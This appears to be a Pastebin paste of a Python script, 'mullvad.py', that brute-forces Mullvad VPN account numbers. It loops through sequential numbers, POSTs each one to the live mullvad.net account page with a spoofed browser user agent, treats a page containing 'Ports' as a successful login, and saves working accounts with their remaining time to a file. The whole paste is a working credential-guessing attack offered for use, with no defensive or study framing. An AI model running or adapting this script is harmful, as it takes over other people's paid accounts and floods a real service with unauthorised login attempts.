Advertisement
Sweetening

mullvad.py

Feb 7th, 2025
8
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.81 KB | None | 0 0
  1. import requests
  2. import re
  3. import time
  4.  
  5. # Function to process the page and extract data
  6. def page_data(page, data):
  7. print('Successful Login')
  8. print('')
  9. page = page.replace(" ", "").replace("\n", "") # Clean spaces and new lines
  10. # Extract time left from the page content using regex
  11. time_left = re.search(r'Timeleft:<.strong>(.*?)<.p>', page)
  12. if time_left:
  13. print(time_left.group(1))
  14. with open('mullvad.txt', 'a') as write:
  15. write.write(f"Account: {data} {time_left.group(1)}\n")
  16.  
  17. data = "200875416016"
  18. attempts = 0
  19.  
  20. # Setting up headers, including a user agent
  21. headers = {
  22. 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36'
  23. }
  24.  
  25. # Main loop for brute-forcing account numbers
  26. while True:
  27. url = 'https://mullvad.net/en/account/'
  28. payload = {'account': data}
  29.  
  30. # Send POST request to Mullvad account page
  31. try:
  32. response = requests.post(url, data=payload, headers=headers, timeout=10, verify=True)
  33.  
  34. # Increment attempt count
  35. attempts += 1
  36. print(f"Attempted Account: {data}")
  37. print(f"Attempts {attempts}")
  38.  
  39. # Check for failed login
  40. if 'Not logged in' in response.text:
  41. print("Failed Login")
  42.  
  43. # Check for success (for simplicity, assume successful login if 'Ports' keyword exists in the response)
  44. elif 'Ports' in response.text:
  45. page_data(response.text, data)
  46.  
  47. except requests.exceptions.RequestException as e:
  48. print(f"Error with request: {e}")
  49.  
  50. # Increment the account number for the next attempt
  51. data = str(int(data) + 1)
  52. # Adding a small delay between requests to avoid overwhelming the server
  53. time.sleep(1)
  54.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement